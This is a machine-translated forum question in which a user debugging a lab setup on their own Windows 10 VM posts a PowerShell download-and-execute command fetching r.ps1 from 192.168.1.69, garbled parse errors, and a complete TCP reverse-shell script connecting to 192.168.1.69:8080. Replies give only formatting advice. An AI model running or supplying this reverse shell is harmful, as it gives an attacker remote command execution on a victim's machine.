私のWin10仮想マシンでシェルを取得しようとしていますが、私はこれらを取得します errors。シェルを呼び出すPowerShellの問題
PS C:行::13文字:39
... S \ユーザーは、サンディエゴSepu> IEX(新オブジェクトNet.WebClient).DownloadString( 'http://192.168.1.69/r.ps1')
IEXを\ .TCPClient( "192.168.1.69 \ '94、8080))。GetStream(); [byte []] $ bt = 0..65535 ...
文字列にターミネーターがありません:"、。ラインで
:14文字:2
}
〜
発現の閉鎖を ')' がありません。ラインで
:1つの文字:1
{\ RTF1 \ ANSI \ ansicpg1252 \ cocoartf1504 \ cocoasubrtf820
〜
欠落閉じる '}' 文ブロックまたは型定義インチラインで
:1つの文字:1
IEX(新オブジェクトNet.WebClient).DownloadString(...
~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ CategoryInfo:ParserError:(:)はParseException
FullyQualifiedErrorId [式呼び出し]:TerminatorExpectedAtEndOfString、Microsoft.PowerShell.Commands.InvokeExpressionCommand
コード:
$sm=(New-Object Net.Sockets.TCPClient("192.168.1.69",8080)).GetStream()
[byte[]]$bt=0..65535|%{0}
while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0)
{
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i)
$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1))
$sm.Write($st,0,$st.Length)
}
あなたはコードを編集して1行ではないようにしてください。コードの流れを見るのが難しくなります。また、質問の本文にエラーテキストを含めるだけでなく、画像をテキストのために掻き取ることもできません。 – Matt
多くの構文エラーのようです。いくつかの改行でセミコロンを置き換え、括弧を見やすくするためにインデントを使用してみてください。 –
私はコードを変更しましたが、これは小さいですが、まだ何か提案がありますか? –